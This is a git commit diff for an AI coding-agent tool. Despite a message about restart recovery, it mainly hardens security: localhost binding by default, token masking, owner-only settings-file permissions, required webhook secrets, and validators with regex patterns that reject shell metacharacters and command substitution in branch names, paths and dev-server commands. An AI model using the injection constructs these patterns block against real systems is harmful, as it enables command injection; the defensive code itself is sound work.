perf(executor): recover approved steps on engine restart
When the engine restarts mid-step, an in-progress step may have already passed plan + code review but not yet been flipped to done by the agent's next task_update call. Previously, the next executor pass re-entered the step and replayed both reviews — measured at 5-20 min of pure waste per restart (observed in FN-2215 Step 1 and FN-2207 Step 6). recoverApprovedStepsOnResume scans the task log for any in-progress step whose most recent "code review Step N: APPROVE" entry is newer than its most recent "Step N → pending" transition, and marks those steps done before execute() runs. Safely skips steps that were reset after approval (e.g. by a workflow revision) or only received REVISE verdicts. Called from both the engine-restart path (resumeOrphaned) and the unpause path, matching the two places the task log shows as vulnerable to this race. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
7
.gitignore
vendored
7
.gitignore
vendored
@@ -25,6 +25,13 @@ kb.db/
|
||||
# Pi
|
||||
.pi/
|
||||
|
||||
# VS Code Local History (editor auto-saved snapshots)
|
||||
.history/
|
||||
|
||||
# Ad-hoc task completion notes left by agents after a run; per-session scratch,
|
||||
# never meant to be committed.
|
||||
.DONE
|
||||
|
||||
# Local kb state and backups
|
||||
.kb/
|
||||
.fusion-backup/
|
||||
|
||||
@@ -64,7 +64,7 @@ fn serve --interactive
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
| `--port`, `-p` | Port for the API server (default `4040`). |
|
||||
| `--host` | Host to bind (default `0.0.0.0`, all interfaces). |
|
||||
| `--host` | Host to bind (default `127.0.0.1`, localhost only). Pass `0.0.0.0` to expose on all interfaces. |
|
||||
| `--paused` | Start with engine paused (automation disabled). |
|
||||
| `--interactive` | Interactive port selection. |
|
||||
| `--daemon` | Enable bearer token authentication for CLI client connections. |
|
||||
@@ -82,7 +82,7 @@ fn daemon [--port <port>] [--host <host>] [--token <token>] [--paused] [--intera
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
| `--port`, `-p` | Port for the daemon server (default: auto-assigned). |
|
||||
| `--host` | Host to bind (default `0.0.0.0`, all interfaces). |
|
||||
| `--host` | Host to bind (default `127.0.0.1`, localhost only). Pass `0.0.0.0` to expose on all interfaces. |
|
||||
| `--token` | Set a specific daemon token. If not provided, a random token is generated and printed. |
|
||||
| `--paused` | Start with engine paused (automation disabled). |
|
||||
| `--token-only` | Only generate/show the token without starting the server. |
|
||||
|
||||
@@ -58,7 +58,7 @@ Defaults from `DEFAULT_GLOBAL_SETTINGS`; key scope from `GLOBAL_SETTINGS_KEYS`.
|
||||
| `titleSummarizerGlobalModelId` | `string` | `undefined` | Global baseline model ID for title summarization. |
|
||||
| `daemonToken` | `string` | `undefined` | Daemon authentication token (`fn_<32 hex chars>`) used by CLI clients. |
|
||||
| `daemonPort` | `number` | `4040` | Port for daemon/serve mode binding. |
|
||||
| `daemonHost` | `string` | `"0.0.0.0"` | Host for daemon/serve mode binding. |
|
||||
| `daemonHost` | `string` | `"127.0.0.1"` | Host for daemon/serve mode binding. Defaults to localhost only; pass `"0.0.0.0"` to expose on all interfaces. |
|
||||
| `settingsSyncEnabled` | `boolean` | `false` | Enable automatic settings synchronization between nodes. |
|
||||
| `settingsSyncAuth` | `boolean` | `false` | Include model auth credentials in settings sync operations. |
|
||||
| `settingsSyncInterval` | `number` | `900000` | Automatic sync interval in ms. Valid values: `300000`, `900000`, `1800000`, `3600000`. |
|
||||
|
||||
@@ -88,7 +88,7 @@ Fusion also works as a standalone CLI outside of pi. See [STANDALONE.md](./STAND
|
||||
|
||||
## Full documentation
|
||||
|
||||
For architecture details, development setup, and contributor info, see the [project README](https://github.com/gsxdsm/fusion#readme).
|
||||
For architecture details, development setup, and contributor info, see the [project README](https://github.com/Runfusion/Fusion#readme).
|
||||
|
||||
## License
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
"skills": [
|
||||
"./skill"
|
||||
],
|
||||
"image": "https://raw.githubusercontent.com/gsxdsm/fusion/main/demo/screenshot.png"
|
||||
"image": "https://raw.githubusercontent.com/Runfusion/Fusion/main/demo/screenshot.png"
|
||||
},
|
||||
"publishConfig": {
|
||||
"access": "public"
|
||||
@@ -75,6 +75,6 @@
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/gsxdsm/fusion"
|
||||
"url": "https://github.com/Runfusion/Fusion"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -127,14 +127,15 @@ describe("build-exe-cross: --all builds all platforms", () => {
|
||||
|
||||
const result = spawnSync(bin, ["--help"], {
|
||||
encoding: "utf-8",
|
||||
timeout: 15_000,
|
||||
// CI can occasionally be slow to launch freshly built native binaries.
|
||||
timeout: 45_000,
|
||||
});
|
||||
if (hasKnownBunSqliteLimitation(result)) {
|
||||
return;
|
||||
}
|
||||
expect(result.status).toBe(0);
|
||||
expect(result.stdout).toContain("fn");
|
||||
}, 20_000);
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
describe("build-exe-cross: default (no args) backward compatibility", () => {
|
||||
|
||||
@@ -268,7 +268,7 @@ Usage:
|
||||
Options:
|
||||
--project, -P <name> Target a specific project (bypasses CWD detection)
|
||||
--port, -p <port> Dashboard/serve port (default: 4040)
|
||||
--host <host> Serve host (default: 0.0.0.0)
|
||||
--host <host> Serve host (default: 127.0.0.1 — localhost only; pass 0.0.0.0 to expose)
|
||||
--interactive Interactive mode (port selection for dashboard, issue selection for import)
|
||||
--paused Start with engine paused (automation disabled)
|
||||
--dev Start dashboard only (no AI engine)
|
||||
@@ -504,7 +504,9 @@ async function main() {
|
||||
const paused = args.includes("--paused");
|
||||
const dev = args.includes("--dev");
|
||||
const interactive = args.includes("--interactive");
|
||||
await runDashboard(port, { paused, dev, interactive });
|
||||
const dashHostIdx = args.indexOf("--host");
|
||||
const host = dashHostIdx !== -1 && dashHostIdx + 1 < args.length ? args[dashHostIdx + 1] : undefined;
|
||||
await runDashboard(port, { paused, dev, interactive, host });
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
@@ -670,13 +670,21 @@ describe("runDaemon", () => {
|
||||
await triggerSignal("SIGINT");
|
||||
});
|
||||
|
||||
it("prints banner with full token at startup", async () => {
|
||||
it("prints banner with masked token at startup (full token never hits stdout)", async () => {
|
||||
const providedToken = "fn_fulltoken12345678901234567890";
|
||||
|
||||
await runDaemon({ token: providedToken });
|
||||
|
||||
// Banner should contain the full token
|
||||
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining(providedToken));
|
||||
// Banner should contain a MASKED form, not the raw token. The full token
|
||||
// is persisted to ~/.fusion/settings.json (chmod 0600) and retrievable via
|
||||
// `fn daemon --token-only` — printing it here would leak it to terminal
|
||||
// scrollback and CI logs.
|
||||
const allBannerArgs = logSpy.mock.calls.map((args) => String(args[0] ?? ""));
|
||||
const banner = allBannerArgs.join("\n");
|
||||
expect(banner).not.toContain(providedToken);
|
||||
expect(banner).toContain("fn_ful");
|
||||
expect(banner).toContain("7890");
|
||||
expect(banner).toContain("fn daemon --token-only");
|
||||
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining("Fusion Daemon"));
|
||||
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining("bearer token required"));
|
||||
|
||||
@@ -701,7 +709,7 @@ describe("runDaemon", () => {
|
||||
|
||||
expect(mocks.listenCalls[0]).toMatchObject({
|
||||
port: 0,
|
||||
host: "0.0.0.0",
|
||||
host: "127.0.0.1",
|
||||
});
|
||||
|
||||
await triggerSignal("SIGINT");
|
||||
|
||||
@@ -729,18 +729,18 @@ describe("runServe", () => {
|
||||
expect(mocks.taskStores[0].close).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("listens on 0.0.0.0 by default and respects a custom host", async () => {
|
||||
it("listens on 127.0.0.1 by default and respects a custom host", async () => {
|
||||
await runServe(3010, {});
|
||||
expect(mocks.listenCalls[0]).toMatchObject({
|
||||
port: 3010,
|
||||
host: "0.0.0.0",
|
||||
host: "127.0.0.1",
|
||||
});
|
||||
await triggerSignal("SIGINT");
|
||||
|
||||
await runServe(3020, { host: "127.0.0.1" });
|
||||
await runServe(3020, { host: "0.0.0.0" });
|
||||
expect(mocks.listenCalls[1]).toMatchObject({
|
||||
port: 3020,
|
||||
host: "127.0.0.1",
|
||||
host: "0.0.0.0",
|
||||
});
|
||||
await triggerSignal("SIGINT");
|
||||
});
|
||||
|
||||
@@ -128,7 +128,8 @@ function maskToken(token: string): string {
|
||||
export interface DaemonOptions {
|
||||
/** Port to listen on (default: 0 for random port) */
|
||||
port?: number;
|
||||
/** Host to bind to (default: 0.0.0.0) */
|
||||
/** Host to bind to (default: 127.0.0.1 — localhost only). Pass "0.0.0.0" to
|
||||
* expose on all interfaces. */
|
||||
host?: string;
|
||||
/** Specific token to use (generated if not provided) */
|
||||
token?: string;
|
||||
@@ -207,7 +208,7 @@ export async function runDaemon(opts: DaemonOptions = {}) {
|
||||
}
|
||||
}
|
||||
|
||||
const selectedHost = opts.host ?? "0.0.0.0";
|
||||
const selectedHost = opts.host ?? "127.0.0.1";
|
||||
const cwd = await resolveRuntimeProjectPath();
|
||||
|
||||
// ── CentralCore: global coordination + ntfy project ID lookup ─────────
|
||||
@@ -466,13 +467,16 @@ export async function runDaemon(opts: DaemonOptions = {}) {
|
||||
console.warn(`[daemon] Failed to set local node online: ${message}`);
|
||||
}
|
||||
|
||||
// Print startup banner with full token (shown once at startup)
|
||||
// Print startup banner with a masked token. The full token is persisted in
|
||||
// global settings (~/.fusion/settings.json, chmod 0600) and can be retrieved
|
||||
// with `fn daemon --token-only` — printing it here would write the raw
|
||||
// secret to terminal scrollback, CI logs, and screen-capture tools.
|
||||
console.log();
|
||||
console.log(` Fusion Daemon`);
|
||||
console.log(` ────────────────────────`);
|
||||
console.log(` → http://${selectedHost}:${actualPort}`);
|
||||
console.log();
|
||||
console.log(` Token: ${daemonToken}`);
|
||||
console.log(` Token: ${maskToken(daemonToken)} (run "fn daemon --token-only" to retrieve)`);
|
||||
console.log();
|
||||
console.log(` Health: GET /api/health`);
|
||||
console.log(` API: /api/* (bearer token required)`);
|
||||
|
||||
@@ -1516,8 +1516,8 @@ describe("runDashboard — port fallback on EADDRINUSE", () => {
|
||||
// Wait for async 'listening' event
|
||||
await new Promise((r) => setTimeout(r, 50));
|
||||
|
||||
// mockListen should have been called with the requested port
|
||||
expect(mockListen).toHaveBeenCalledWith(4040);
|
||||
// mockListen should have been called with the requested port bound to localhost by default.
|
||||
expect(mockListen).toHaveBeenCalledWith(4040, "127.0.0.1");
|
||||
|
||||
// Banner should show the requested port
|
||||
expect(consoleSpy).toHaveBeenCalledWith(
|
||||
@@ -1562,8 +1562,8 @@ describe("runDashboard — port fallback on EADDRINUSE", () => {
|
||||
// Wait for async events to settle
|
||||
await new Promise((r) => setTimeout(r, 100));
|
||||
|
||||
// Server should have retried with port 0
|
||||
expect(mockServerListen).toHaveBeenCalledWith(0);
|
||||
// Server should have retried with port 0, still bound to localhost.
|
||||
expect(mockServerListen).toHaveBeenCalledWith(0, "127.0.0.1");
|
||||
|
||||
// Banner should show the fallback port, not the requested port
|
||||
expect(consoleSpy).toHaveBeenCalledWith(
|
||||
@@ -1888,9 +1888,9 @@ describe("runDashboard — --dev mode", () => {
|
||||
// Wait for async 'listening' event
|
||||
await new Promise((r) => setTimeout(r, 50));
|
||||
|
||||
// Server should have been created and listen called
|
||||
// Server should have been created and listen called (localhost default)
|
||||
expect(createServer).toHaveBeenCalled();
|
||||
expect(mockListen).toHaveBeenCalledWith(4040);
|
||||
expect(mockListen).toHaveBeenCalledWith(4040, "127.0.0.1");
|
||||
|
||||
// Banner should show the port
|
||||
expect(consoleSpy).toHaveBeenCalledWith(
|
||||
|
||||
@@ -193,7 +193,10 @@ async function resolveRuntimeProjectPath(): Promise<string> {
|
||||
}
|
||||
}
|
||||
|
||||
export async function runDashboard(port: number, opts: { paused?: boolean; dev?: boolean; interactive?: boolean; open?: boolean } = {}) {
|
||||
export async function runDashboard(port: number, opts: { paused?: boolean; dev?: boolean; interactive?: boolean; open?: boolean; host?: string } = {}) {
|
||||
// Default to localhost so the dashboard (and its shell-capable terminal API)
|
||||
// is not exposed on the LAN. Pass --host 0.0.0.0 explicitly to opt-in.
|
||||
const selectedHost = opts.host ?? "127.0.0.1";
|
||||
ensureProcessDiagnostics();
|
||||
|
||||
// Handle interactive port selection
|
||||
@@ -859,11 +862,11 @@ export async function runDashboard(port: number, opts: { paused?: boolean; dev?:
|
||||
});
|
||||
}
|
||||
|
||||
const server = app.listen(selectedPort);
|
||||
const server = app.listen(selectedPort, selectedHost);
|
||||
|
||||
server.on("error", (err: NodeJS.ErrnoException) => {
|
||||
if (err.code === "EADDRINUSE") {
|
||||
server.listen(0);
|
||||
server.listen(0, selectedHost);
|
||||
} else {
|
||||
console.error(`Failed to start server: ${err.message}`);
|
||||
process.exit(1);
|
||||
|
||||
@@ -218,7 +218,7 @@ export async function runServe(
|
||||
}
|
||||
}
|
||||
|
||||
const selectedHost = opts.host ?? "0.0.0.0";
|
||||
const selectedHost = opts.host ?? "127.0.0.1";
|
||||
const cwd = await resolveRuntimeProjectPath();
|
||||
|
||||
// ── CentralCore: global coordination + ntfy project ID lookup ─────────
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/core",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion core: task store, scheduler, settings, and shared domain types backing the Fusion AI coding agent.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/core"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": {
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
|
||||
import { homedir } from "node:os";
|
||||
import { dirname, join } from "node:path";
|
||||
import { mkdir, readFile, writeFile, rename } from "node:fs/promises";
|
||||
import { mkdir, readFile, writeFile, rename, chmod } from "node:fs/promises";
|
||||
import { existsSync, mkdirSync, renameSync } from "node:fs";
|
||||
import type { GlobalSettings } from "./types.js";
|
||||
import { DEFAULT_GLOBAL_SETTINGS } from "./types.js";
|
||||
@@ -228,11 +228,24 @@ export class GlobalSettingsStore {
|
||||
/**
|
||||
* Atomically write settings to disk. Writes to a temp file first,
|
||||
* then renames into place (atomic on POSIX).
|
||||
*
|
||||
* The file is written with mode 0600 (owner-only read/write) because the
|
||||
* settings object can contain secrets — specifically `daemonToken`, which
|
||||
* is a bearer credential for the HTTP API. POSIX-only; no-op on Windows.
|
||||
*/
|
||||
private async atomicWrite(settings: GlobalSettings): Promise<void> {
|
||||
const tmpPath = this.settingsPath + ".tmp";
|
||||
await writeFile(tmpPath, JSON.stringify(settings, null, 2));
|
||||
await writeFile(tmpPath, JSON.stringify(settings, null, 2), { mode: 0o600 });
|
||||
await rename(tmpPath, this.settingsPath);
|
||||
// `writeFile` with `mode` honors umask on some platforms, so re-chmod the
|
||||
// final path to guarantee 0600. Ignore failures (Windows has no POSIX
|
||||
// permission bits; some filesystems may reject chmod).
|
||||
try {
|
||||
await chmod(this.settingsPath, 0o600);
|
||||
} catch {
|
||||
// Best effort — on Windows or filesystems without POSIX perms, the file
|
||||
// is already protected by the user's home directory ACL.
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -41,7 +41,7 @@ export const DEFAULT_GLOBAL_SETTINGS = {
|
||||
// Daemon mode settings
|
||||
daemonToken: undefined,
|
||||
daemonPort: 4040,
|
||||
daemonHost: "0.0.0.0",
|
||||
daemonHost: "127.0.0.1",
|
||||
// Node settings sync
|
||||
settingsSyncEnabled: false,
|
||||
settingsSyncAuth: false,
|
||||
|
||||
@@ -31,6 +31,53 @@ const TASK_ACTIVITY_LOG_OUTCOME_LIMIT = 4_000;
|
||||
const ARCHIVE_AGENT_LOG_SNAPSHOT_LIMIT = 25;
|
||||
const ARCHIVE_AGENT_LOG_SNIPPET_LIMIT = 160;
|
||||
|
||||
/**
|
||||
* Reject branch names that would be unsafe to interpolate into a shell command.
|
||||
* The allowed set is a conservative subset of git's refname rules: alphanumerics,
|
||||
* `_`, `.`, `/`, `+`, and `-`, with the same leading/trailing/segment restrictions
|
||||
* git enforces. Any branch that fails this check is rejected before reaching the
|
||||
* shell, so no branch-name value can inject shell metacharacters.
|
||||
*/
|
||||
function assertSafeGitBranchName(name: string): void {
|
||||
if (
|
||||
!name ||
|
||||
name.length > 255 ||
|
||||
name.startsWith("-") ||
|
||||
name.startsWith(".") ||
|
||||
name.startsWith("/") ||
|
||||
name.endsWith("/") ||
|
||||
name.endsWith(".") ||
|
||||
name.endsWith(".lock") ||
|
||||
name.includes("..") ||
|
||||
name.includes("@{") ||
|
||||
!/^[A-Za-z0-9._/+-]+$/.test(name)
|
||||
) {
|
||||
throw new Error(`Unsafe git branch name: ${JSON.stringify(name)}`);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reject filesystem paths that would be unsafe to interpolate into a shell
|
||||
* command. Worktree paths are generated by fusion itself and are expected to
|
||||
* be absolute, but `task.worktree` is writable via the authenticated API, so
|
||||
* validate at the shell boundary as defense-in-depth.
|
||||
*/
|
||||
function assertSafeAbsolutePath(path: string): void {
|
||||
const isAbsolute = path.startsWith("/") || /^[A-Za-z]:[\\/]/.test(path);
|
||||
if (
|
||||
!path ||
|
||||
path.length > 4096 ||
|
||||
!isAbsolute ||
|
||||
path.startsWith("-") ||
|
||||
// Reject shell metacharacters, quotes, control chars, and NULs.
|
||||
/["'`$\n\r\t;&|<>()*?\[\]{}\\\0]/.test(
|
||||
path.replace(/^[A-Za-z]:/, ""), // ignore the drive-letter colon on Windows
|
||||
)
|
||||
) {
|
||||
throw new Error(`Unsafe path: ${JSON.stringify(path)}`);
|
||||
}
|
||||
}
|
||||
|
||||
function truncateTaskLogOutcome(outcome: string | undefined): string | undefined {
|
||||
if (!outcome || outcome.length <= TASK_ACTIVITY_LOG_OUTCOME_LIMIT) {
|
||||
return outcome;
|
||||
@@ -2916,6 +2963,13 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
|
||||
|
||||
const deleted: string[] = [];
|
||||
for (const branch of branches) {
|
||||
try {
|
||||
assertSafeGitBranchName(branch);
|
||||
} catch {
|
||||
// Skip branches whose names would be unsafe to pass through a shell.
|
||||
// A malformed stored value should not become a command-injection vector.
|
||||
continue;
|
||||
}
|
||||
const verify = await this.runGitCommand(`git rev-parse --verify "${branch}"`);
|
||||
if (verify.exitCode !== 0) {
|
||||
continue;
|
||||
@@ -3034,6 +3088,9 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
|
||||
const dir = this.taskDir(id);
|
||||
const task = await this.readTaskJson(dir);
|
||||
const branch = `fusion/${id.toLowerCase()}`;
|
||||
// Branch is derived from the task id (already validated at create time),
|
||||
// but assert as defense-in-depth against future id-format changes.
|
||||
assertSafeGitBranchName(branch);
|
||||
|
||||
if (task.column === "done") {
|
||||
const result: MergeResult = {
|
||||
@@ -3048,6 +3105,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
|
||||
const changed = this.clearDoneTransientFields(task);
|
||||
|
||||
if (worktreePath && existsSync(worktreePath)) {
|
||||
assertSafeAbsolutePath(worktreePath);
|
||||
const removeWorktree = await this.runGitCommand(`git worktree remove "${worktreePath}" --force`, 120_000);
|
||||
if (removeWorktree.exitCode === 0) {
|
||||
result.worktreeRemoved = true;
|
||||
@@ -3130,6 +3188,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
|
||||
|
||||
// 3. Remove worktree
|
||||
if (worktreePath && existsSync(worktreePath)) {
|
||||
assertSafeAbsolutePath(worktreePath);
|
||||
const removeWorktree = await this.runGitCommand(`git worktree remove "${worktreePath}" --force`, 120_000);
|
||||
if (removeWorktree.exitCode === 0) {
|
||||
result.worktreeRemoved = true;
|
||||
|
||||
@@ -863,7 +863,10 @@ export interface DaemonTokenSettings {
|
||||
daemonToken?: string;
|
||||
/** Port for daemon mode server binding. Default: 4040. */
|
||||
daemonPort?: number;
|
||||
/** Host for daemon mode server binding. Default: "0.0.0.0" (all interfaces). */
|
||||
/** Host for daemon mode server binding. Default: "127.0.0.1" (localhost only).
|
||||
* Set to "0.0.0.0" explicitly to expose the API on all interfaces — only do
|
||||
* this if you understand the implications (terminal/exec endpoints become
|
||||
* reachable from the LAN even with a bearer token). */
|
||||
daemonHost?: string;
|
||||
}
|
||||
|
||||
@@ -978,7 +981,10 @@ export interface GlobalSettings {
|
||||
daemonToken?: string;
|
||||
/** Port for daemon mode server binding. Default: 4040. */
|
||||
daemonPort?: number;
|
||||
/** Host for daemon mode server binding. Default: "0.0.0.0" (all interfaces). */
|
||||
/** Host for daemon mode server binding. Default: "127.0.0.1" (localhost only).
|
||||
* Set to "0.0.0.0" explicitly to expose the API on all interfaces — only do
|
||||
* this if you understand the implications (terminal/exec endpoints become
|
||||
* reachable from the LAN even with a bearer token). */
|
||||
daemonHost?: string;
|
||||
/** When true, enables automatic settings synchronization between nodes.
|
||||
* Settings are pushed/pulled on the configured interval. Default: false. */
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/dashboard",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion dashboard: React UI and HTTP API server for monitoring and controlling the Fusion AI coding agent.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/dashboard"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": {
|
||||
|
||||
@@ -33,6 +33,26 @@ const DEFAULT_PROBE_DELAY_MS = 10_000;
|
||||
const DEFAULT_PROBE_HOST = "127.0.0.1";
|
||||
const DEFAULT_PROBE_TIMEOUT_MS = 1_000;
|
||||
|
||||
/**
|
||||
* Reject dev-server commands whose strings contain command-substitution
|
||||
* syntax. Dev-server commands are user-configured project settings (e.g.
|
||||
* `npm run dev`, `bun dev`) and are spawned with `shell: true` so users
|
||||
* can chain `&&` / `|`, but command substitution (`$(...)`, backticks,
|
||||
* process substitution) is never needed for a start command and is the
|
||||
* main payload for a settings-file compromise. Legitimate commands don't
|
||||
* need to execute a sub-command before launching the dev server.
|
||||
*/
|
||||
function assertSafeDevServerCommand(command: string): void {
|
||||
if (/\$\(|`|<\(|>\(/.test(command)) {
|
||||
throw new Error(
|
||||
"Dev-server command contains command substitution ($(...), backticks, or process substitution), which is not permitted",
|
||||
);
|
||||
}
|
||||
if (/[\0\r\n]/.test(command)) {
|
||||
throw new Error("Dev-server command contains invalid control characters");
|
||||
}
|
||||
}
|
||||
|
||||
export class DevServerProcessManager extends EventEmitter {
|
||||
private childProcess: ChildProcess | null = null;
|
||||
private portProbeTimer: NodeJS.Timeout | null = null;
|
||||
@@ -67,6 +87,7 @@ export class DevServerProcessManager extends EventEmitter {
|
||||
if (safeCommand.length === 0) {
|
||||
throw new Error("command is required");
|
||||
}
|
||||
assertSafeDevServerCommand(safeCommand);
|
||||
|
||||
const safeCwd = cwd.trim();
|
||||
if (safeCwd.length === 0) {
|
||||
|
||||
@@ -11093,16 +11093,26 @@ describe("Routine routes", () => {
|
||||
}));
|
||||
});
|
||||
|
||||
it("creates a routine with webhook trigger", async () => {
|
||||
it("creates a routine with webhook trigger (requires secret)", async () => {
|
||||
const { app, routineStore } = buildRoutineApp();
|
||||
const res = await REQUEST(app, "POST", "/api/routines", JSON.stringify({
|
||||
name: "Webhook Routine",
|
||||
trigger: { type: "webhook", webhookPath: "/trigger/test", secret: "s".repeat(16) },
|
||||
}), { "Content-Type": "application/json" });
|
||||
expect(res.status).toBe(201);
|
||||
expect(routineStore.createRoutine).toHaveBeenCalledWith(expect.objectContaining({
|
||||
trigger: { type: "webhook", webhookPath: "/trigger/test", secret: "s".repeat(16) },
|
||||
}));
|
||||
});
|
||||
|
||||
it("rejects a webhook trigger without a secret", async () => {
|
||||
const { app } = buildRoutineApp();
|
||||
const res = await REQUEST(app, "POST", "/api/routines", JSON.stringify({
|
||||
name: "Webhook Routine",
|
||||
trigger: { type: "webhook", webhookPath: "/trigger/test" },
|
||||
}), { "Content-Type": "application/json" });
|
||||
expect(res.status).toBe(201);
|
||||
expect(routineStore.createRoutine).toHaveBeenCalledWith(expect.objectContaining({
|
||||
trigger: { type: "webhook", webhookPath: "/trigger/test" },
|
||||
}));
|
||||
expect(res.status).toBe(400);
|
||||
expect(res.body.error).toContain("secret");
|
||||
});
|
||||
|
||||
it("creates a routine with api trigger", async () => {
|
||||
@@ -11458,7 +11468,10 @@ describe("Routine routes", () => {
|
||||
return { app, routineStore, routineRunner };
|
||||
}
|
||||
|
||||
it("triggers a webhook routine without secret", async () => {
|
||||
it("rejects a webhook trigger on a routine without a secret", async () => {
|
||||
// Webhook routines persisted before the secret requirement are still
|
||||
// accepted as stored objects but must be refused at trigger time —
|
||||
// otherwise unauthenticated callers could execute them.
|
||||
const mockStore = createMockRoutineStore();
|
||||
mockStore.getRoutine.mockResolvedValue({
|
||||
...FAKE_ROUTINE,
|
||||
@@ -11466,11 +11479,8 @@ describe("Routine routes", () => {
|
||||
});
|
||||
const { app, routineRunner } = buildRoutineApp(mockStore);
|
||||
const res = await REQUEST(app, "POST", "/api/routines/routine-001/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body.result).toBeDefined();
|
||||
expect(res.body.result.triggerType).toBe("webhook");
|
||||
expect(routineRunner.triggerWebhook).toHaveBeenCalled();
|
||||
// Verify recordRun was NOT called (double-persist fix)
|
||||
expect(res.status).toBe(401);
|
||||
expect(routineRunner.triggerWebhook).not.toHaveBeenCalled();
|
||||
expect(mockStore.recordRun).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
@@ -11516,7 +11526,7 @@ describe("Routine routes", () => {
|
||||
expect(res.status).toBe(503);
|
||||
});
|
||||
|
||||
it("accepts webhook when no secret is configured", async () => {
|
||||
it("refuses webhook routines that are missing a secret", async () => {
|
||||
const mockStore = createMockRoutineStore();
|
||||
mockStore.getRoutine.mockResolvedValue({
|
||||
...FAKE_ROUTINE,
|
||||
@@ -11524,7 +11534,7 @@ describe("Routine routes", () => {
|
||||
});
|
||||
const { app } = buildRoutineApp(mockStore);
|
||||
const res = await REQUEST(app, "POST", "/api/routines/routine-001/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.status).toBe(401);
|
||||
});
|
||||
|
||||
it("returns 401 when secret is configured but signature header is missing (was 403)", async () => {
|
||||
@@ -11750,16 +11760,37 @@ describe("Routine routes", () => {
|
||||
// ── Additional scope regression coverage ──────────────────────
|
||||
|
||||
it("POST /routines/:id/webhook is scope-independent (webhooks use routine's own scope)", async () => {
|
||||
// Webhooks should NOT filter by request scope params - they use the routine's own scope
|
||||
// Webhooks should NOT filter by request scope params - they use the routine's own scope.
|
||||
// Use a secret-configured trigger with a matching HMAC signature so the
|
||||
// request passes the authentication gate regardless of scope.
|
||||
const secret = "test-secret-test-secret";
|
||||
const payload = JSON.stringify({});
|
||||
const signature =
|
||||
"sha256=" +
|
||||
createHmac("sha256", secret).update(payload).digest("hex");
|
||||
|
||||
const mockStore = createMockRoutineStore();
|
||||
mockStore.getRoutine.mockResolvedValue({
|
||||
...FAKE_ROUTINE,
|
||||
scope: "project" as const,
|
||||
trigger: { type: "webhook" as const, webhookPath: "/trigger/test" },
|
||||
trigger: { type: "webhook" as const, webhookPath: "/trigger/test", secret },
|
||||
});
|
||||
const { app, routineRunner } = buildRoutineApp(mockStore);
|
||||
// POST to webhook WITHOUT any scope param - should work regardless of scope
|
||||
const res = await REQUEST(app, "POST", "/api/routines/routine-001/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
|
||||
const store = createMockStore();
|
||||
const routineRunner = createMockRoutineRunner();
|
||||
const testApp = express();
|
||||
testApp.use(express.json());
|
||||
testApp.use((req, _res, next) => {
|
||||
(req as any).rawBody = Buffer.from(payload);
|
||||
next();
|
||||
});
|
||||
testApp.use("/api", createApiRoutes(store, { routineStore: mockStore as any, routineRunner }));
|
||||
const res = await REQUEST(
|
||||
testApp,
|
||||
"POST",
|
||||
"/api/routines/routine-001/webhook",
|
||||
payload,
|
||||
{ "Content-Type": "application/json", "x-hub-signature-256": signature },
|
||||
);
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body.result).toBeDefined();
|
||||
expect(routineRunner.triggerWebhook).toHaveBeenCalled();
|
||||
|
||||
@@ -10391,6 +10391,17 @@ export function createApiRoutes(store: TaskStore, options?: ServerOptions): Rout
|
||||
throw badRequest(`Invalid cron expression: "${trigger.cronExpression}"`);
|
||||
}
|
||||
}
|
||||
if (trigger.type === "webhook") {
|
||||
// Require an HMAC secret so the webhook endpoint authenticates callers
|
||||
// via signed payloads. Without this, anyone who can reach the server
|
||||
// and knows the routine id could trigger execution by sending an empty
|
||||
// POST to /routines/:id/webhook.
|
||||
if (typeof trigger.secret !== "string" || trigger.secret.trim().length < 16) {
|
||||
throw badRequest(
|
||||
"Webhook trigger requires a secret of at least 16 characters for HMAC signature verification",
|
||||
);
|
||||
}
|
||||
}
|
||||
const hasSteps = Array.isArray(steps) && steps.length > 0;
|
||||
const hasCommand = typeof command === "string" && command.trim().length > 0;
|
||||
if (hasSteps) {
|
||||
@@ -10499,6 +10510,13 @@ export function createApiRoutes(store: TaskStore, options?: ServerOptions): Rout
|
||||
throw badRequest(`Invalid cron expression: "${trigger.cronExpression}"`);
|
||||
}
|
||||
}
